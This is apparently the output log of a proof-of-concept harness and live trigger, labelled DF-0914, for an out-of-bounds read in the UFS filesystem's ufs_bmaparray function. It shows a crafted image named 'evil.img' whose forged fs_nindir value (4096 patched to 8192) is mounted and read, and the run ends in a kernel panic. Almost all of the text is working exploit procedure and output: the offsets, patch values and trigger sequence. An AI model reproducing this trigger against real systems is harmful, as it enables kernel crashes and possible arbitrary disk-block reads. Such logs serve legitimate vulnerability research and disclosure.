================= DF-0914 primitive characterization (harness) =================
=== DF-0914 OOB-READ harness (ufs_bmaparray READ path) ===
fs_bsize:          16384
correct fs_nindir: 4096 (= fs_bsize/4 = bap[] entries)
forged  fs_nindir: 8192 (MNINDIR)
buffer size:       16384 bytes = 4096 ufs_daddr_t entries
valid bap[] range: 0..4095
read target lbn:   8203

ufs_getlbns returned numlevels=2:
  xap[0]: in_lbn=-12 in_off=0
  xap[1]: in_lbn=-12 in_off=8191

ufs_bmaparray:221  daddr = bap[8191]  = bp->b_data + 32764
buffer end         = bp->b_data + 16384
*** OOB READ: bap[8191] reads 16384 bytes past the 16384-byte buffer ***
*** (buffer has 4096 entries 0..4095; index 8191 is out of bounds) ***
*** OOB value becomes `daddr`, used as disk block address at :241 ***
*** -> confused-deputy read of arbitrary disk block, or     ***
***    page-fault panic if OOB memory is unmapped (INVARIANTS)***
simulated OOB read = 0xabababab (poison pattern from past buffer)

================= DF-0914 live kernel trigger (READ path) =================
--- Phase A: newfs + write on correct fs_nindir=4096 ---
/dev/vn0: media size  32.00MB
Warning: Block size restricts cylinders per group to 104.
/dev/vn0:	65536 sectors in 16 cylinders of 1 tracks, 4096 sectors
	32.0MB in 1 cyl groups (104 c/g, 208.00MB/g, 4096 i/g)
super-block backups (for fsck -b #) at:
MOUNT_A_RC=0
--- writing 1 byte at lbn=12 (offset=196608) with CORRECT fs_nindir ---
=== DF-0914 Phase A: write + ftruncate on correct image ===
file:       /mnt/test/target
write_off:  196608 (lbn=12)
extend_to:  134283265 (covers lbn=8203)
[A1] writing 1 byte at offset 196608 ...
     WRITE OK (i_ib[0] allocated)
[A2] ftruncate to 134283265 ...
     FTRUNCATE OK (i_size = 134283265)
WRITE_PHASE_RC=0

--- Phase B: patch fs_nindir 4096 -> 8192, mount, read ---
=== DF-0914 superblock patcher (ufs_bmaparray OOB read) ===
image:        evil.img
fs_magic:     0x11954 (expect 0x011954)
fs_bsize:     16384  -> indirect-block buffer = 16384 bytes
fs_fsize:     2048
fs_inopb:     128
fs_nindir:    4096 (CORRECT = fs_bsize/sizeof(ufs_daddr_t) = 4096)
entries/buf:  4096 (= fs_bsize/4 = bap[] valid indices 0..4095)

--- patching fs_nindir: 4096 -> 8192 ---
forged MNINDIR(ump)   = 8192
valid bap[] indices    = 0..4095  (4096 entries)
forged in_off range    = 0..8191
max OOB index          = bap[8191] = bp->b_data + 32764
max OOB past buffer    = 16384 bytes (~16 KB)
first OOB index        = bap[4096] = bp->b_data + 16384  (buffer is 16384)

OK: fs_nindir patched in evil.img
MOUNT_B_RC=0
--- TRIGGER: read at lbn=8203 (offset=134283264, in_off=8191, OOB ~16KB) ---

*** KERNEL PANIC — ssh connection lost (timeout=124) ***
See panic.txt for the Fatal trap 12 page fault signature at ufs_bmaparray+0x15c.